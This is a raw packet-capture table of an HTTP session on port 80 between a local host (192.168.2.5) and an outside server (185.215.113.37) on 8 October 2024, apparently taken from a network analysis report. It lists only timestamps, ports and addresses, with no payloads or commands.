Oct 8, 2024 22:32:10.287920952 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:10.287934065 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:10.287945032 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:10.287959099 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:10.287972927 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:10.288000107 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:10.288419008 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:10.288429976 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:10.288443089 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:10.288454056 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:10.288465977 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:10.288470030 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:10.288480043 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:10.288495064 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:10.288501024 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:10.288506985 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:10.288520098 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:10.288521051 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:10.288536072 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:10.288542986 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:10.288561106 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:10.288600922 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:10.288804054 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:10.288816929 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:10.288829088 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:10.288846970 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:10.288846970 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:10.288860083 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:10.288861990 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:10.288877010 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:10.288878918 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:10.288889885 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:10.288902044 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:10.288918972 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:10.288939953 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:10.288964987 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:10.288978100 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:10.288990021 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:10.289002895 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:10.289005995 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:10.289016008 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:10.289025068 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:10.289028883 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:10.289042950 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:10.289045095 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:10.289056063 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:10.289069891 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:10.289078951 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:10.289087057 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:10.289092064 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:10.289105892 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:10.289110899 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:10.289119959 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:10.289133072 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:10.289135933 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:10.289146900 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:10.289154053 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:10.289170980 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:10.289171934 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:10.289186001 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:10.289195061 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:10.289199114 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:10.289210081 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:10.289215088 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:10.289225101 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:10.289230108 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:10.289239883 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:10.289244890 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:10.289257050 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:10.289258003 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:10.289271116 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:10.289273024 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:10.289288044 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:10.289288998 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:10.289303064 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:10.289304018 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:10.289318085 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:10.289319992 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:10.289340019 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:10.289340973 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:10.289340019 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:10.289355040 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:10.289366007 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:10.289367914 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:10.289381981 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:10.289382935 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:10.289391994 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:10.289395094 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:10.289407015 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:10.289407969 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:10.289419889 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:10.289423943 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:10.289433956 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:10.289448023 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:10.289448023 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:10.289470911 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:10.289491892 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:10.289551020 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:10.289563894 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:10.289588928 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:10.289591074 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:10.289602995 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:10.289603949 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:10.289629936 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:10.289644003 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:10.289693117 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:10.289705038 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:10.289716005 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:10.289729118 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:10.289741039 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:10.289741993 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:10.289767981 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:10.289781094 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:10.377465010 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:10.377517939 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:10.377538919 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:10.377557993 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:10.377573013 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:10.377604961 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:10.377615929 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:10.377660990 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:10.377671957 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:10.377707005 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:10.377723932 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:10.377743959 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:10.377749920 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:10.377779961 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:10.377789974 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:10.377815962 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:10.377825975 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:10.377862930 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:10.377870083 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:10.377904892 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:10.377918005 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:10.377938032 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:10.377954006 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:10.377985954 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:10.377993107 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:10.378038883 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:10.378046989 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:10.378087044 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:10.378093958 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:10.378128052 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:10.378143072 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:10.378163099 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:10.378175020 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:10.378211021 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:10.378231049 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:10.378268957 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:10.378273964 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:10.378303051 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:10.378312111 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:10.378339052 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:10.378351927 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:10.378386021 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:10.378387928 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:10.378421068 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:10.378433943 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:10.378457069 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:10.378464937 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:10.378504992 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:10.378511906 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:10.378546000 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:10.378557920 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:10.378580093 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:10.378597975 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:10.378617048 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:10.378632069 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:10.378650904 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:10.378671885 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:10.378690958 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:10.378717899 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:10.378726006 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:10.378746033 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:10.378770113 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:10.378782988 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:10.378814936 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:10.378824949 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:10.378859043 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:10.378879070 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:10.378894091 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:10.378909111 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:10.378927946 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:10.378942966 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:10.378966093 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:10.378984928 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:10.378998041 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:10.379009962 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:10.379033089 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:10.379045010 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:10.379066944 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:10.379076958 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:10.379101038 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:10.379112005 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:10.379137039 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:10.379144907 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:10.379172087 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:10.379180908 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:10.379205942 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:10.379216909 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:10.379251003 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:10.379259109 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:10.379292965 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:10.379309893 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:10.379327059 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:10.379340887 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:10.379362106 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:10.379375935 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:10.379410028 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:10.379456997 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:10.379508018 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:10.379508972 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:10.379544020 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:10.379558086 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:10.379578114 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:10.379587889 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:10.379611969 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:10.379628897 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:10.379646063 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:10.379661083 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:10.379679918 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:10.379693985 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:10.379726887 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:10.379736900 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:10.379770994 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:10.379784107 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:10.379810095 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:10.379821062 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:10.379822969 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:10.379854918 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:10.379873037 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:10.379878998 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:10.379914999 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:10.379925013 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:10.379949093 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:10.379961014 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:10.380000114 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:10.380002975 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:10.380043030 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:10.380052090 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:10.380053043 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:10.380069971 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:10.380093098 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:10.380104065 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:10.380122900 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:10.380141020 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:10.380151987 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:10.380176067 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:10.380183935 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:10.380209923 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:10.380222082 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:10.380244970 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:10.380259991 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:10.380279064 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:10.380295038 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:10.380326033 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:10.380327940 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:10.380364895 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:10.380374908 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:10.380398989 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:10.380418062 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:10.380434036 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:10.380449057 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:10.380480051 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:10.380491018 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:10.380511045 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:10.380526066 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:10.380544901 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:10.380556107 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:10.380579948 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:10.380613089 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:10.380614042 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:10.380629063 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:10.380646944 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:10.380657911 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:10.380681992 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:10.380726099 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:10.380727053 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:10.380763054 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:10.380795956 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:10.380805969 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:10.380805969 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:10.380832911 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:10.380853891 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:10.380867958 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:10.380888939 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:10.380903006 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:10.380923033 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:10.380937099 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:10.380959034 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:10.380970955 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:10.380990982 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:10.381005049 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:10.381026983 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:10.381041050 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:10.381059885 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:10.381074905 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:10.381094933 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:10.381109953 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:10.381133080 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:10.381141901 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:10.381171942 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:10.381175995 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:10.381187916 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:10.381211042 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:10.381237030 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:10.381243944 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:10.381263018 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:10.381278992 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:10.381299973 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:10.381311893 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:10.381331921 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:10.381346941 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:10.381370068 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:10.381381035 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:10.381401062 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:10.381417036 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:10.381433964 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:10.381452084 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:10.381484985 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:10.381499052 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:10.381516933 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:10.381519079 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:10.381536961 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:10.381551981 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:10.381576061 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:10.381586075 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:10.381607056 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:10.381620884 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:10.381640911 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:10.381655931 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 22:32:10.381670952 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 22:32:10.381694078 CEST	80	49704	185.215.113.37	192.168.2.5
